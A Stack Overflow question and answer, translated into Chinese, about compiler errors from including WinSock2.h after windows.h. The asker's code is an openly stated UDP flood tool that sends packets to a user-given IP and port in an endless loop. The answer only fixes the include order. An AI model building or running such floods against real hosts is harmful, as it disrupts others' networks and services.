c++ - 为什么在包含 WinSock2.h 时会出现大量编译器错误?

标签 c++ windows winapi winsock2

<分区>

我正在尝试使用 C++ 中的 WinSock2.h 进行 UDP 泛洪攻击,但我在 WinSock2.h 上收到超过 70 个错误和 17 个警告,所有错误都是重新定义、来自 ws2def.h 的语法错误,以及“不同的联系”。我做错了什么或者这是 WinSock2 的问题吗?如果有任何用处,我使用的是 64 位 Windows 10、Visual Studio 2015

  #include "stdafx.h"
  #include <WinSock2.h>
  #include <windows.h>
  #include <fstream>
  #include <time.h>
  #include "wtypes.h"
  #include "Functions.h"
  #pragma comment(lib, "ws2_32.lib") 
    //Get IP
    cin.getline(TargetIP, 17);

    //Get IP
    cout << "Enter the Port: ";
    cin >> nPort;
    cout << endl;

    //Initialize WinSock 2.2
    WSAStartup(MAKEWORD(2, 2), &wsaData);

    //Create our UDP Socket
    s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

    //Setup the target address
    targetAddr.sin_family = AF_INET;
    targetAddr.sin_port = htons(nPort);
    targetAddr.sin_addr.s_addr = inet_addr(TargetIP);

    //Get input from user
    cout << "Please specify the buffer size:";
    cin >> bufferSize;

    //Create our buffer
    char * buffer = new char[bufferSize];

    while(true){
        //send the buffer to target
        sendto(s, buffer, strlen(buffer), NULL, (sockaddr *)&targetAddr, sizeof(targetAddr));
    }

    //Close Socket
    closesocket(s);

    //Cleanup WSA
    WSACleanup();

    //Cleanup our buffer (prevent memory leak)
    delete[]buffer;

最佳答案

我想您可能对包含顺序 有疑问。

您可能会遇到以下错误:

1>c:\program files (x86)\windows kits\8.1\include\um\winsock2.h(2373): error C2375: 'WSAStartup': redefinition; different linkage
1>  c:\program files (x86)\windows kits\8.1\include\um\winsock.h(867): note: see declaration of 'WSAStartup'

那是因为<windows.h>包括 <winsock.h>默认情况下,<winsock.h>提供了许多与 <winsock2.h> 中重叠的声明,当 <winsock2.h> 时会导致错误包含在之后 <windows.h> .

因此,您可能希望包括<winsock2.h> 之前 <windows.h> :

#include <winsock2.h>
#include <windows.h>

或者,作为替代方案,您可以尝试定义 _WINSOCKAPI_ 以防止包含 <winsock.h><windows.h>使用这个预处理器 #undef-#define-#include "dance":

#undef _WINSOCKAPI_
#define _WINSOCKAPI_  /* prevents <winsock.h> inclusion by <windows.h> */
#include <windows.h>
#include <winsock2.h>

不得不说_WINSOCKAPI_的定义宏干扰普通 header 包含保护机制以防止<windows.h>包括 <winsock.h>听起来像是基于实现细节的脆弱“hack”,所以我可能更喜欢第一个选项。

但总的来说,这个包含顺序错误对我来说就像是 Win32 header 中的错误,所以最好的办法是让 Microsoft 修复它。

编辑
正如评论中所建议的,另一种选择可能是 #define WIN32_LEAN_AND_MEAN 之前包括<windows.h> .但是,请注意,这也会阻止包含其他 Windows header 。

附言
如果您使用的是预编译 header (问题中新显示的代码中的 "stdafx.h"),您可能还需要注意其中包含的顺序。

关于c++ - 为什么在包含 WinSock2.h 时会出现大量编译器错误?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/38150134/

相关文章:

windows - 从 WSL2 内部访问在 Windows 中运行的本地主机?

c++ - 传递给 CreateProcess 的参数未按我预期的那样进行解析

c++ - 从数组中删除单个指针

c# - 使用 COPYDATASTRUCT 将 SendMessage 的 C++ 转换为 C#

php - 在 Windows Server 系统上托管 php 应用程序。有什么问题/建议吗?

python - Pylint 使用 Windows 和 Python 3.2 安装问题

c++ - 算术相加两个字符串

c++ - 候选模板被忽略 : substitution failure(error with clang but not g++)

c++ - 如何将字符串流中的数据打印到文件中?

c - COM 端口打开时的中断条件